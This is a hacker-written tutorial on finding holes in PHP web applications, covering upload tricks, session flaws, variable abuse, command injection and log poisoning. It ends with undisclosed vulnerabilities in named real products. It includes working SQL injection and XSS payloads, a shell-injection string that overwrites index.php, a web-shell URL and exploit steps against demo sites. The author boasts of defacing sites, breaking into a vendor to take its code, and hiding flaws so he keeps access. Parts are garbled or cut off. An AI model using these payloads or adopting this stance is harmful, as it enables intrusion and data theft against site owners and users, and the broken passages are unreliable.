What exactly are we looking to when we go through other people's code and they handle files? File reads and file writes should always be traced. The ability to read any file on the server puts the entire site at risk. Consider this: A user is able to read the contents of server side code. He could use this source code to find more vulnerabilities; like RFI's or SQLI.

When encountering file operations, one should take great care with special characters. As shown in the previous example, we did a string replace to capture '../' characters. There are a few others that should be tested for their presense when dealing with file operations. The semi colon and the pipe ';' '|' for example can hinder code logic becuase they mean different things in when dealing with file names. The double colon '::' on windows for example creates an Alternative Data Stream on an existing file that no one else can see unless thety know the file name(or know what to look for). The last big thing to watch out for when handling file names is the existance of an additional dot in a file name. Apache by default will recognize a file name by the first extension it is passed while while the application may accept the ending extension as the right one and treat it as such.

Allow me to demonstrate:

89023r9f92.jpg.er-923-r2.txt

Apache sees this as a JPG file and associates it as such unless over-ridden by a header() command (ie PHP). \

Say you upload a file with the filename:

3912908923.php.790234784902348.jpg

A good upload program would either report the .php extension as evil and terminate, or rename the file while keeping the extension accordingly.

A badly coded upload program on the otherhand would blindly upload the file and see that the file is legit since it ends in '.jpg'. The program thinks the file is an image file, but apache sees things differently. Now all the hacker has to do is locate the uploaded file and his PHP file is executed.

How would you stop something like this? A filename check or simply renaming the file after uploading. You could also store the uploaded files out of the web root directory so the no one could execute them if they wanted to. How would you find a vulnerable program like this? Monitor HOW files are handled when uploaded. Watch for 'strcmp' calls and calls for equality. Ensure the program has some sort of 'white list' of allowed extensions to be present when uploading files. Here is an example:

```
<?php
$filename = $_POST['file2upload'];
$info = pathinfo($filename);
$ext = $info['extenstion'];
switch($ext)
{
case ".jpg":
upload_file($filename);
break;
case ".png":
upload_file($filename);
break;
case ".bmp":

upload_file($filename);

break;

case ".gif":

upload_file($filename);

break;

case ".dib":

upload_file($filename);

break;

case ".jpeg":

upload_file($filename);

break;

default:

echo "DIE HACKER SCUM!";

break;

}


function uploadfile($filename)

{

// upload stuff here

}

?>
```

Unless you've been living under a rock for the last 5 years, there have been

major changes to the security scene in terms of wannabe protections and patched in an attempt to quell the number of vulnerabilities in PHP applications. This

includes, but is not limited to; disabling of functions, URL checks, attack

pattern searching, apache modules, and patches to PHP itself such as Suosin and

the hardened PHP project. While they offer some coushin for vulnerabilities, never

rely on them for a second. Just becuase one function is black listed doesn't mean

there aren't 10 others to take its place. I remember this one time, I was attacking

this one site leveraged the php execution, but the it was limited. The hardened PHP

patch was in place to limit what I could do. I could not use System(), shell_exec,

or use Fopen() to read other files. This was merely a minor inconvience since there

were other functions to get what I wanted. I was able to use File_Put_Contents()

to deface the front page, and backticks `` to execute shell commands, and was able

to pass commands to my shell via POST requests to beat the URL filter.

I'm a resourceful bastard if I have to be :)

This concludes file / directory abuse. Now onward to the joys of path disclosures.

****

Path / Information Disclosure

****

File path disclosure is simply producing an error that shows us the path to thefile that errored out. There are a number of ways to error out an application. We shall go over most of them. What we are shooting for to produce a path disclosre error are error contiditons. Error conditions are eay to producde in php or any langaue for that matter. Example. say some function is expecting a numeric value, and we pass it a string. Chances are it will error out unless error pages are turned off in php (rarely done, but some people do it). Another example would be prodicung a negative number or expetionally large number to a fuction that expect a non zero or integer number.

```
Warning: Division by zero in /home/foobar/public_html/index.php on line 34
```

Another way to produce an error would be to provide a null session id. Typically the session id is stored inside a cookie. This being said, we ca use the following javascript in our browser to null out the session ID and refresh the page if it worked.

```
javascript:void(document.cookie="PHPSESSID=");
```

How do you find these in code? Typically when the developer either foregoes the use of exception handling, or does not predict what a variable might contain. I know that is kind of abstract, but its the best way I can describe it. Perhaps some code may make things easier to deciper:

```
<?php


$v1 = $_POST['val1'];

$v2 = $_POST['val2'];

$v3 = $v1/$v2;

echo $v1 . "divided by" . $v2 . " is: " . $v3;

?>
```

In this code, we get a path disclosure error about the values passed being empty when we attempt to view the script without passing POST parameters. There is another error present, but lets just say the coder is in a hurry and fixes the first bug he saw but not the second immediately apparent one(happens all the time).

Same code with some error checking:

```
<?php
```

```
if(empty($_POST['val1']) || empty($_POST['val2']))

{

die("You need to enter a value!");

}

$v1 = $_POST['val1'];

$v2 = $_POST['val2'];

$v3 = $v1/$v2;

echo $v1 . "divided by" . $v2 . " is: " . $v3;

?>
```

In this sample, rather than recieving an error for the values being null, we instead are presented with the possibility of a division by zero fault which WILL error out and display a full path.

The coder tried to anticipate all what the values were going to be before being processed, but was only checking to make sure the values inside were actually there. This contrived example is just one of THOUSANDS you will encounter on your own when auditing PHP code.

****

Weak Session Management

****

The general rule of thumb when dealing with sessions is to always make sure there is a check for sessions in sensitive areas such as the admin section. I have run into this many times where which an admin section does NOT include checks for sessions and a non privilaged user can execute administrative functions without restriction.

Why do we have sessions? HTTP is stateless. Server side language developers needed a way to track users their logins. Without sessions, there would be chaos.

So what are you mainly looking for for weak session management? The first thing to look for is the lack thereof. The absense of sessions handling for adminsitrative areas can lead to some bad security vulnerablilties.

Second main thing to watch out for is custom session handling. From time to time I will encounter a developer who thinks PHP's built in session management system isnt good enough for them and they write their own. probelm is, they make the sessions predictable. You'll run into code where which the 'session' is nothing more than a cookie with a number the applies to the userid. Merely changing the cookie up or down changes your 'session' allowing you to skip the entire login process and just assume the role of another user. It's more common than you think. Sessions should not be predictable. This is why PHP's built in functions utilize an MD5 sum based on a number of unique traits to help mitigate this problem.

What kinds of vulnerabilities are you likely to encounter that invlove states and sessions? it widely depends on the type of application you're auditing, but when it comes to session (mis)management, you will likely encounter bad variable handling, weak sessions (typically custom), predictable sessions, session collisions, session hijacking, and session fixation. Before we go any further, lets explain how sessions work with PHP.

In PHP session variables are defined in the $_SESSION array. You can store variables in the array and they are valid for the duration of a session signified by session_start() to start the session and session_destroy() / session_unset to kill the variables associated with the current session. Example:

```
<?php

session_start();

$_SESSION['lol'] = "here today<br>";

echo $_SESSION['lol'];

$_SESSION['lol'] = "gone tomorrow";

session_unset();

echo $_SESSION['lol'];

?>
```

In this example, the string "here today" will display on the page, but not "gone tomorrow" becuase the session variable 'lol' has been unset and destroyed. If I had placed the "echo $_SESSION['lol'];" line before the session_unset() call, the string would have been printed. From time to time you will encounter little bugs like this with user sessions and even administrative action sessions.

There arent many session functions to look out for other than the big 3:

session_start()

starts a session

session_destroy()

ends a session

session_unset()

kills all variables associated with the particular session previosuly instantiated.

session_name()

Gets or sets the current session name.

session_id()

Gets or sets the session id for the current session. This is that cookie you typically see when you peek at the cookies in a php web app.

There are a few othwers, but they arent used in too many web apps. If you really want to see more, check out php.net.

Now let's go over some session vulnerability expamples. First up is a session predictability vulnerability.

```
<?php

include("databaselink.php");

mysql_query("SELECT userid FROM users where username='joe'");

$userid = mysql_result();

$_COOKIE['userid'] = $userid;

$mysess = 12 * 8 - $userid + 4;

$_SESSION['mysessionid'] = $mysess;
```

```
if($mysess > 100)

{

echo "admin panel here!"

}

echo "welcome user " . htmlentities($userid);

?>
```

The problem with the code above is apparent. The user session, as contrived as it may seem, is derived from a static value and equation based off of the userID returned from the database. In the case of this app, the session will always be essentially unique since its based off of the userid. However since the session can always be altered in the cookie field, one could probably get away with chaning their session ID and assuming the role of another user.

Next on our list is session collision. This is when you have a session variable thats supposed to be random, but for whatever reason becomes duplicated by another user by fault of design. If you're unsure of what I mean, allow me to demonstrate:

```
<?php

$mysess = md5(date("m-d-y g:i"));

$_SESSION['mysessionid'] = $mysess;

ecbo "<pre>";

echo "Welcome to my new site!";

echo "</pre>";

?>
```

Note that date("m-d-y g:i"); would produce something like 09-18-10 10:45. The code then proceeds to produce the MD5 of this value. That's all fine and dandy, but what if a second user is browsing the page at the same minute of the same day? It CAN and probably WILL happen at some point.

The next session related vulnerability is session hijacking. While this would mostly qualify as a Cross Site Scripting class of vulnerability, since we're trying to steal the session cookie, it applies here.

```
<?php

$mysess = md5(date("m-d-y g:i"));

$_SESSION['mysessionid'] = $mysess;

echo "<form action='index.php' method='POST'>";

echo "enter your name: <br />";

echo "<input type='text' namae='xss123' />";

echo "<input type='submit' value='Ok' />";

echo "</form>";

$name = $_POST['xss123'];

echo "Hello there " . $name ."!";

?>
```

This is a classic example of Cross Site Scripting, but theres more than just a cookie that could be stolen here. Script code that grabs the PHPSESSID cookie take the session with them. Cross site scripting is a double entendre.

The last major session vulnerability to be on the lookout for is session fixation. This is where which a session is printed in plain sight via either a hidden form field, a query string, or even in javascript. The idea is that an attacker can set any session variable they want and trick users into using that session:

```
<a href="https://sitetohax.net/msg.php?PHPSESSID=09782">CLAIM YOUR FREE IPOD!!!!</a>
```

What's to gain from an attacker's standpoint? By forcing a user to use a certain session, the attacker can then use the specified session ID and assume the role of the user (usually after they've logged in).

How do you find something like this? It's a vulnerability by design. If the offending application doesn't regenerate a new session id after a login or privilage escalation, then the potential for session fixation exists.

Sources: http://www.owasp.org/index.php/Session_fixation

****

Variable abuse

****

Going back to what I was talking about in the RFI / LFI section about REGISTER_GLOBALS, many fun things come to mind about variable abuse. I won't be focusing on includes here, but rather some stuff I have encountered in the past that allow for variable manipulation that play off in the hacker's favor. This includes, but is not limited to; viewing debug info, accessing administrative functions, skipping steps in processes, deleting files, and more. It all depends on the web app you are auditing. You'd be suprised at what you can pull off if you analyze the logical code flow and follow which variables you have the power to control from a web browser. Aside from local variables accessed from within the running script, there are a number of other variables called "superglobals" which can be troublesome but are generally worth looking at in terms of manipulation. Here is a list with explainations:

* $GLOBALS - global scoped variables
* $_SERVER - predefined server variables such as QUERY_STRING and SCRIPT_NAME
* $_GET - variables access in the URL query string
* $_POST - variables passed encapsulated in http requests
* $_FILES - HTTP File Upload variables.
* $_COOKIE - Cookies!
* $_SESSION - session variables.
* $_REQUEST - special deprecated function that accepts both POST and GET request variables. Useful for when you don't know what to expect.

* $_ENV - Environment variables like the username of the currently running process.

I have run into many vulnerabilities where which a piece of code relied on a superglobal to accomplish a vulneranble task such as file manipulation or inclusion.

Yet another thing that comes to mind when i think of 'other' injections is the use of 'Super Globals' ie variables that can

be modified and have a large scope. The good ones re the obvious ones like "loggedin" as a boolean 0 or 1 value

or 'username' which could bypass the current ACL mechanism.

The following is something I noticed while auditing a website dedicated to reviewing Judges and politicians.

--

```
<?php

session_start();

include "lib/basica.php";

include "lib/recordset.php";

$opcion = $_POST["opcion"];

switch ($opcion) {

case 1:

$username = $_POST["username"];

$question1 = $_POST["question1"];

$question2 = $_POST["question2"];

$question3 = $_POST["question3"];

$cadsql = "select count(*) from users where username = '$username' AND user_question1 =
'$question1' AND user_question2 = '$question2' AND user_question3 = '$question3'";
```

```
$res = consulta($cadsql);

$f = fila($res);

if($f[0] > 0 )

{

include_once("lib/conexion.inc");

$sql = "SELECT * FROM users WHERE username = '$username'";

$rs = mysql_query($sql,$cnx);

$Rs=MySQL_fetch_array($rs);

$iser_id = $Rs["user_id"];

session_start();

$_SESSION['user_id'] = $Rs["user_id"];

$_SESSION['username'] = $username;

redireccionar("", 1, "user_forgot.php");

}Else{

error("One or more of the answers to the questions<br>does not match our records, Please try again...",
"user_forgot.php");

exit();

}

break;

case 2:

$user_id = $_POST["user_id"];

$password = $_POST["password"];

$pass = md5($password);

include_once("lib/conexion.inc");

$sql = "UPDATE users SET ";

$sql .= "user_password = '$pass' ";
```

```
$sql .= "WHERE user_id='$user_id'";

$rs = mysql_query($sql,$cnx);

session_start();

unset($_SESSION[user_id]);

unset($_SESSION[username]);

session_destroy();

redireccionar("", 1, "user_login.php?source=".$_POST["source"]);

break;

case 3:

$user_id = $_POST["user_id"];

$question1 = $_POST["question1"];

$question2 = $_POST["question2"];

$question3 = $_POST["question3"];

$pass = md5($password);

include_once("lib/conexion.inc");

$sql = "UPDATE users SET ";

$sql .= "user_question1 = '$question1', ";

$sql .= "user_question2 = '$question2', ";

$sql .= "user_question3 = '$question3' ";

$sql .= "WHERE user_id='$user_id'";

$rs = mysql_query($sql,$cnx);

redireccionar("", 1, "vote_judge.php?judge_id=".$_POST["judge_id"]);

break;

}

?>
```

--

Line 9 and 11 is a major problem. If a user changes this to 2 or 3, they can change a user's password (including the admin's) without knowing their secret questions. This is more of a logic error.

```
9| $opcion = $_POST["opcion"];

11| switch ($opcion) {
```

$opcion allows us to specify what we want to do in the code based on a switch statement. Case 1 on line 13 is the main meat of the code for when a user forgets their password. Case 2 on line 67 through line 85 allow for the changing of a users password:

```
case 2:            $user_id = $_POST["user_id"];            $password = $_POST["password"];        $pass =
md5($password);                    include_once("lib/conexion.inc");          $sql = "UPDATE users SET ";
        $sql .= "user_password = '$pass' ";       $sql .= "WHERE user_id='$user_id'";      $rs =
mysql_query($sql,$cnx);
```

Thus meaning if an attacker changes the opcion value from 1 to 2, they can change the password of the specified user_ID. Lines 101 to 127 are case 3 and allow for something similiar without authentication:

```
   case 3:         $user_id = $_POST["user_id"];            $question1 = $_POST["question1"];
        $question2 = $_POST["question2"];       $question3 = $_POST["question3"];       $pass =
md5($password);                    include_once("lib/conexion.inc");          $sql = "UPDATE users SET ";
        $sql .= "user_question1 = '$question1', ";         $sql .= "user_question2 = '$question2', ";
        $sql .= "user_question3 = '$question3' ";          $sql .= "WHERE user_id='$user_id'";      $rs =
mysql_query($sql,$cnx);
```

This code sets the user's security questions based on the user_ID, so for an attacker to exploit this, all they have to do is change 'opcion' to 3.

How do you exploit this? Pass a '0' in the querystring with the variable $LOGIN and it doesnt matter what you enter for the username and password, you will be authenticated as an admistrator. When I found this one (among 50 other holes) I was BAFFLED as to why no one else had this this site yet.

Another sample; I found this back in 2005 in some blog software called Insanely Simple Blog. To make a pun out of it, it was 'Insanely Simple' to hack. Inside each admin page were GET / POSt variables waiting for data to be passed to them. There were no checks for administrative access. This was one of my first bugtraq posts and I ripped this software a new a-hole, figuratively speaking of course.

Insanely simple blog version 0.5 and below

http://sourceforge.net/projects/insanelysimple2

First off, the search action fails to strip user content for html allowing a user to input tags. Next, anonymous blog entries can contain javascript allowing script execution. How? Well, tags are stripped, but not all of em.

As for the sql injection portion, several GET variables allow for the injection of SQL queries.

First of which is the current_subsection variable.

The following proof of concepts are provided

http://www.example.net/index.php?current_subsection=2 or 1=1/*

^^ dumps all table data.

http://www.example.net/index.php?current_subsection=2%20union%20all%20select blah from content/*

The following bits of code work on the blog.

<B onmousemver="javascript:alert('lol')">Pizza pie</B>

<OL onmouseover="alert('lol')">I like it</OL>

Variable isn't always "low hanging fruit", but the bugs you find can jepordise the entire application and grant you access like all the other vulnerabilities. Variable abuse requires you to know some php. The ability to read the code and its logical flow is paradine to your success in finding variable abuse bugs. This concludes this section. The Other injections is where we cover the stuff I haven't mentioned yet.

****

Other injections

****

I've saved the coolest for (near)last. In this section, I have log file injection for RFI/LFI's,

LDAP injection, and shell commands stuff.

As with many aspects of php, there are more than one way to execute commands on a page.

ASP classic is restricted to instantiating the wscript.shell object, while php has 8 different

fucnctions that can be used to execute server side commands. As per the usual, I will list them:

Shell_exec

passthru

system

preg_replace(with the /e flag set)

exec

popen

and more

Lets talk about Shell injection / command execution for a second. If a user is allowed to execute a command on the web server without authentication, is it a good thing or a bad thing? Example code time:

```
<?php
```

```
if(isset($_POST['cmd']))

{

if(empty($_POST['cmd']))

{

echo "No directory name posted!";

return;

}

$cmd = $_POST['cmd'];

echo "<pre>List of " . htmlentities($cmd) . "directory: <br />";

shell_exec("ls /home/publik/www/userlib/ " . $cmd);

echo "</pre>";

}

?>

<html>

<body>

<form action="dirlist.php"  method="POST">

<fieldset>

<legend>Enter a directory name to view</legend>

Command: <input type="text" name="cmd" /><br />

<input type="submit" name="submit" value="Process..." />

</fieldset>

</form>

</body>

</html>
```

My primative example makes use of the shell_exec() function to list a directory. The script is immune to cross site scripting attacks, but neglects to filter user input for shell commands. a User can run whatever he wants under the guise of Apache or whatever PHP is running as.

```
images;echo hiya dummy > index.php
```

When we pass the following to the script, the command lists the contents of the images directory, but then prints 'hi dummy' to the console and writes the output to index.php.

We use a semicolon to separate *nix commands. We could also use a pipe |. the difference between the 2 is how the commands are executed. With a semi-colon, the command is added on top of the current one. With a pipe, the command is executed as as input to the process that proceeds it ie;

```
ls -asl | grep lol
```

In this case, we list the contents of the directory and feed it to grep and output 'lol'.

Both the pipe and the semicolon should be tested when trying to execute commands.

What about LDAP? LDAP or Lightweight Directory Access Protocol is a system for querying data. Much like its more popular 2nd cousin SQL, ldap is also vulnerable to attack if coded like a dumbass. Also like SQL, there are different versions providing mutually the same functionality respectivly. Heres a list of LDAP servers I know of:

OpenLDAP

M$ Active Directory

Novell eDirectory (yeah they're still around)

Oracle Internet Directory

Apache Directory Server

Apple Open Directory

Sun Java System Directory Server

The main ones I seem to run into in the wild are OpenLDAP and Apache Directory Server, though you could run into any one. Now lets see what a standard LDAP 'query' looks like.

```
<?php
$ds = ldap_connect("localhost");  // assuming the LDAP server is on this host

if ($ds) {
   // bind with appropriate dn to give update access
   $r = ldap_bind($ds, "cn=root, o=My Company, c=US", "secret");

   // prepare data
   $info["cn"] = "John Jones";
   $info["sn"] = "Jones";
   $info["mail"] = "jonj@example.com";
   $info["objectclass"] = "person";
```

```
    // add data to directory

    $r = ldap_add($ds, "cn=John Jones, o=My Company, c=US", $info);


    ldap_close($ds);

} else {

    echo "Unable to connect to LDAP server";

}

?>
```

I grabbed this form PHP.net on account of lazyness, but you get the point I hope. Connect to the ldap server, add data to it, close the connection. The 'injection' usually comes in the form the the search fucntion revealing more data than it should. Like the UNIX file system, ldap supports wild cards. The star * is the wild card, and here in lies one of the issues. Imagine a login query checking an ldap server and you pass a wild card as both the username and the password. According to the query, it will return anything and everything and pass the query, much like classic hi' or 1=1/* SQL injections.

While I would love to go over more examples of ldap injection, I don't run into it very often, so stay vigilant.

For more info on LDAP hit up wiki:

http://en.wikipedia.org/wiki/LDAP

http://www.php.net/manual/en/function.ldap-add.php

In one of my other papers, I discussed how to use a local file include to run server side code.

Many times people will encouter an LFI and simply give up once they realize all they can do is read local files (like /etc/passwd or /etc/hosts). While this is normally a limitation in exploitation, it can also be a blessing if the gods smile in your direction.

What?

By passing user data that contains php code it, gets saved into log files. The location of the log files vary, but they are usually in the /usr/apache/logs/ folder. If one were able to locate the logs file and read it, the logs would then be in turn 'included' by the offending function. Since we can control what goes into the log file (ie; user agent, query string, cookies, etc) that data can potentially be included. if this data contains php code, well, you get the idea.

Where?

Like I already said, in the /usr/logs/ folder, there are log files for apache, ngynx, lighttd, and tomcat.

How?

Becuase the log file will contain our strings, and isnt filtered for data (after all, why would it be filtered?) simply adding our php code to a query string and including a log file can get us to run server side code.

When?

It is not always instant. Many times, the logs aren't immediately updated. I once waited 10 hours for a server to update its damn logs. Only then could I run my shell code and complete my server compromise.

Why?

Why not? Even if log file injection fails, you could always inject php code into an image's EXIF data and upload it somewhere, then read the EXIF (stored in /logs/exif) or if you're a real pro, you could alway inject php code into a mail form on a 'contact us' page, then use the LFI to read the mail spool.

While that's fine and dandy a few may be wondering how to prevent against these attacks. Easily. Log file injection can be defeated if you enable the open_base_directory PHO directive since this limits the PHP script to working in its current directory.

The exif data injection can be defeated by parsing through and removing exif data when uploading images. Finally stopping smtp mail spool log injection can be stopped by checking for php tags in all forms. Even htmlspecialchars() should do the trick.

What else can be said about the 'other injections' section? All the time newer technologies are being developed and they have to be implemented into existing languages. New buzzwords come and go yet the

ideals by which the language was designed stay the same. Take the whole "Web 2.0" fuzz. Same old shit as before. More dynamic, which to me means, more possibility to exploit. Ajax requests and the intermediate area between client and server present risks to the security of an application.
If a user can intercept a request before it goes server side then what will happen? Peering deeper into the broad spectrum of PHP programming and what the future holds, I envision we will see a ressurgence of bugs and exploits. New techniques as well as the same old tricks.

****

**INI File stuff **

****

This section is more of a review of what I have tried to outline in other sections for fixes and pitfalls one may encounter from PHP.INI directives. Stuff like magic_quotes_gps, open_base_dir, REGISTER_GLOBALS and allow_url_include for example affect security, but may be enabled to support legacy code (or just coder laziness).

Time after time I encounter servers and configurations that have the default php settings. There dispite the 2 major versions of php seen today, there have been many versions of each release. PHP 5 for example lists its most stable release as 5.3.3. How are these releases different? For the most part, they fix bugs and such, but from time to time, they also address security issues and modofy the PHP.INI accordingly. For example, in PHP4, the REGISTER_GLOBALS directive as well as the allow_url_include directive are enabled. While on their own, they cause no direct harm, many applications were vulnerable to attack for them being enabled.

Which ini settings affect the security of an application the most? We'll cover the top 7 here.

#1) display_errors

When set to 'on' this can have a dramatic affect on the security of the application. I always check this first. Error messages are vital to the attacking process. No error messages reduces the likelyhood of an attack succeeding. It does NOT prevent attacks, but it does help quell several of them.

#2) log_errors

When this setting is enabled, errors and their contents are sent to an error_log file stored somewhere on the server. While not necessarily a security vulnerability, it can lead to one if anyone can read the contents (or included it as outlined in my RFI/LFI discussion)

#3) register_globals

Oh lord, not register_globals. turned off by default in php 5, left on in php 4, Register globals essentially sets whether or not cookies, get, post, evn, or server variables are global in scope. This is usually a bad thing unless coded correctly. Be on the lookout for this directive.

#4) magic_quotes_gpc

What the hell are magic quotes? When they're enabled, php essentially escapes all strings placed in cookie, env, get, post, and server variables with a slash \ character. While this usually helps hinder some SQL injection, it doesnt stop it all and sometimes the enabling of this feature screws other applications up. Its generally easier to exploit a web app with this directive set to off.

#5) allow_url_include

The bane of php4. The directive that makes every PHP security enthusiast cringe and every black hat smile. This directive determines whether or not require() / include can accept http streams as input. Think remote file includes. The ability to call a text file on another server to control the box. If this is enabled, either the admin is retarded, the box is old, or the programmer needs it enabled for legacy code. Watch out for it.

#6) mysql.allow_local_infile

While technically a mysql setting, this ini directive can affect the security of a web application. The ability to use

#7) open_basedir

While essentially used in shared hosting environments, this setting limits all file operations to the defined directory and below. Why should you enable this? It could seriously hinder my previous LFI attach example. it would make include() and fopen() operations restricted to thier own 'house' if you will. You will likely encounter this setting on a web host or other virtual-like server hosting system.

One other thing of noteworthy value is that once in a while, you will encounter directory with its own php.ini file inside. These files instruct php to ignore its own pre-defined settings and run the user's settings instead, much like placing a dll named "user32.dll" in an application's folder, windows will load this dll before loading the one from its system directory.

Section 4: Live vulnerabilities For fun and profit

The FINAL section to work on. 0day central.

People who know me know that I love dropping 0days to make the world a bit more chaotic. After all, what is life without a little chaos and disorder?

Live vulnerabilities in php web apps come in 2 forms - known and unknown. Even if you discover a vulnerability in some software, that doesn't mean some other clownshoes whitehat hasn't already told his supervisor and mailed it off ti bugtraq. If you're egotistic, then by all means, post it to bugtraq. If however, you're like me, and want easy access to someone else's box until the vuln is patched (0day), then don't tell anyone you found it. Friends too since they're usually blabbermouths.

This time, I have 7 0days to start. First off, we have Newbie CMS v0.3. Still in its early stages of development, it aims to be a CMS...for newbies. Easy prey :).

The second 0day we have is in the n13 news portal. It's had some work done to it, but leaves out some security. You'll see why they should go back to thr drawing board.

So lets get started. Newbie CMS. the front page shows us its an "Easy CMS even a caveman could figure out", but I dont see the gieco guy anywhere. Perhaps it is in

this simplicity that we find our flaw. By making it too easy, they have in turn made it vulnerable. Or they're just dumbasses. Whatever. We turn our attention to the page

'edit_page.php' for our first vulnerability.

http://www.newbie-cms.com/demo/admin/edit_page.php?id=1

```
<?php
```

```
$id = $_GET['id'];

$sql = "SELECT * FROM nb_pages WHERE id = $id";

$query = mysql_query($sql);

$row = mysql_fetch_assoc($query);

?>
```

Pretty freaking obvious huh? Zero sanitation of the $id variable. Classic SQLI.

See how the dev does a check for integers on the index page but not for the admin pages?

Also note that we don't need to be logged in to view the page meaning we can skip admin

login and go straight for the injection.

http://www.newbie-cms.com

Found in version 0.3 (latest)

Also, you don't need to login for the manage_pages.php page, meaning you can probably delete pages.

Direct access to settings.php

As for the direct access thing, we can solve it by making a bullshit cookie

$_COOKIE["nb_logged"])

because it only wants to see the cookie, not whats in it.

We can delete pages by directly accessing delete.php and placing our BS cookie along with the proper posted ID's. Might have to make a script that does this for us :)

```
if(isset($_POST['ajax'])) {

  if(isset($_POST['id'])) {

    $id = (int)$_POST['id'];

    $sql = "DELETE FROM `nb_pages` WHERE id = $id";

    $query = mysql_query($sql);

    if($query) {

      echo 'excellent';

      exit(0);

    }

  }

}
```

By making a php script of our own that sets the cookie in the POST request, and posts

the ID of the page (available to us in the index page or any page we click like a "normal" user)

we can set the right params and delete any page we want.

New_page.php is trickier, but involves the same thing.

The second web app on my list is yet another blog suite, this one having to do with potatos. You say "Potato", I say "Piece of crap blog with code execution vuln",

You can download the version I found the vulns in at http://potatonet.info which is version 1.0.2. Lets jump right into the vulbnerability:

In the directory \update\modules\ under users.php:

This is actually a multi-line vulnerability.

line 26: $edid = $_REQUEST['edid'];

line 28 $edit = strtolower($edid);

line 44: include_once ("data/users/$edit.php");

A classic case of both an RFI and an LFI. If you're lucky enough to encounter php 4 or have allow_fopen_url enabled in the target php.ini, you have a classic example of

a remote file include. If not, then you have to stick with an LFI, which can be just as devastating. I also noticed a blacklist in the commenting system for allowed and

disallowed html as well as a 'string replace' style functionality for comments containing wannabe 'bbcode' that could be worth investigating.

If you want to a test site to mess around on, surf over to http://journal.potatonet.info/andrew/. If it says "registration is disabled" its a ball faced lie. Look harder at

thee admin section and you'll see the real registration area.

http://getmyownarcade.com/demo/thumbnails/frame.php.j32713t.jpg?lol=ls

file upload failure in user scripts stored in demo. Chances are if I throw it in thumbnails on the other server, it will work =\

I was so sure I would find vulnerabilities in this software I paid 50 bucks for it. And I was right. I found a code execution vulnerabilty.

Funny thing is, I bought it, but they never sent me a download. What is a boy to do? I hacked in and just ripped the source code using the vulnerability I found.

Is it illegal to grab something I paid for that was never given to me??? Not in my mind. Fuck em.

I bet you're wondering how I got it. A recurring theme. I got in via a file upload vuln. By creating a bullshit user account and uploading a client profile picture

with php code inside, i was able to execute code. Since it was a web shell, I was free to do whatever I wanted. Like get my money's worth of code I was promised.

Well lets rip them a new butt hole shall we? The package was the latest. At least 13 scripts were vulnerable to some form of attack.

They are, in no particular order:

In the main folder

Game.php - SQLI in $gId=$_GET[gId];

```
$sql = "SELECT * FROM komento where catid = '$gId' AND sender <> 'video'";

//echo $sql;

$rs = mysql_query($sql) or die(mysql_error());

$counter = 1;

while($co = mysql_fetch_array($rs)){

        $comment_out .= "<tr><td><strong>".$counter.") Comment of " . $co['gName'] . ", Rate: " .
$co['rate'] . "</strong></td></tr>";

        $comment_out .= "<tr><td>" . $co['comments'] . "<hr/></td></tr>";

        $counter = "";

}

if (isset($_SESSION['getMyOWNaRcade']))

        $get_user = $_SESSION['getMyOWNaRcade'];

else

        $get_user = "(guest)" . session_id();

mysql_query("insert into `getmyown_played_game` (username, gId, played_date) values
('".$get_user."', '".$gId."', '".date("Y-m-d", time())."');");


//update most popular game

mysql_query("UPDATE games SET score = score + 1 WHERE gId = '$gId';");


$swf = $datas[gSwFile];
```

```
$gId = $datas[gId];
```

Video.php with $gId=$_GET[gId];

```
$sql = "SELECT * FROM getmyown_videos where gId like '$gId'";

$sql = "SELECT * FROM komento where catid = '$gId' AND sender = 'video'";

//echo $sql;

$rs = mysql_query($sql) or die(mysql_error());

$counter = 1;

while($co = mysql_fetch_array($rs)){

	$comment_out .= "<tr><td><strong>".$counter.") Comment of " . $co['gName'] . ", Rate: " . $co['rate'] . "</strong></td></tr>";

	$comment_out .= "<tr><td>" . $co['comments'] . "<hr/></td></tr>";

	$counter = "";

}

$comment_out .= "</table>";

mysql_query("UPDATE getmyown_videos SET score = score + 1 WHERE gId = '$gId';");
```

Video_category.php with $cId=$_GET[cId]; & $catname = $_GET[cName];

```
$sq = "SELECT * FROM getmyown_video_categories where cId like '$cId'";

$r = mysql_query($sq, $db) or die(mysql_error());

$totalrows = mysql_numrows($r);

$data = mysql_fetch_array($r);



$sql = "SELECT * FROM getmyown_videos where gInCategory like '$cId' AND (sender is NULL OR sender = '')";
```

$rs = mysql_query($sql, $db) or die(mysql_error());

$totalrows = mysql_numrows($rs);

$sql = "SELECT * FROM getmyown_videos where gInCategory like '$cId' AND (sender is NULL OR sender = '') LIMIT $limitvalue, $limit";

$rs = mysql_query($sql, $db) or die(mysql_error());

$datas = mysql_fetch_array($rs);

with an XSS on line 122 $pages .= "<a href='$siteurl/video_cat/$cId/$catname/$i.html'>$i</a>&nbsp;";

Search.php in $query=$_POST[query];

$sql = "SELECT * FROM games where MATCH (gName,gDescription)

AGAINST ('%$query%') LIMIT $limitvalue, $limit";

$rs = mysql_query($sql,$db) or die("Error: " . mysql_error());

with an XSS on line 115 $title = "Game search result for $query";

Category.php in $cId=$_GET[cId]; &$catname = $_GET[cName];

$sq = "SELECT * FROM categories where cId like '$cId'";

$r = mysql_query($sq, $db) or die(mysql_error());

$totalrows = mysql_numrows($r);

$data = mysql_fetch_array($r);

$sql = "SELECT * FROM games where gInCategory like '$cId' AND (sender is NULL OR sender = '')";

$rs = mysql_query($sql, $db) or die(mysql_error());

$totalrows = mysql_numrows($rs);

```
$sql = "SELECT * FROM games where gInCategory like '$cId' AND (sender is NULL OR sender = '') LIMIT
$limitvalue, $limit";

$rs = mysql_query($sql, $db) or die(mysql_error());
```

with another XSS on line 87 and 102 `$pages .= "<a href='$siteurl/cat/$cId/$catname/$i.html'>$i</a>&nbsp;";`

Save.php

```
$_POST[comments] = str_replace("'", "\'", $_POST[comments]);

$sql = "SELECT * FROM komento WHERE catid = '$_POST[gId]' AND comments = '$_POST[comments]' ";

$rs = mysql_query($sql,$db) or die(mysql_error());

f(isset($_POST['submit']) && isset($_POST['num'])) {

if(isset($_POST['number'])){

$_code = $_POST['number'];

if($_POST['num'] == $_code){

mysql_query ("INSERT INTO komento (gName, rate, comments, catid)

VALUES ('$_POST[gName]', '$_POST[rate]', '$_POST[comments]', '$_POST[gId]')") or die (mysql_error());

$sql = "SELECT * FROM games WHERE gId = '$_POST[gId]'";

$rec = mysql_query($sql,$db) or die(mysql_error());

$tpoint = $datas[points] + $_POST[rate];

mysql_query("UPDATE games SET points = '$tpoint' WHERE  gId='$_POST[gId]'") or die(mysql_error());
```

Save_video.php

Same vulnerabilities word for word as in save.php

Captcha.php

Just look over this, tell me this isnt predictable.

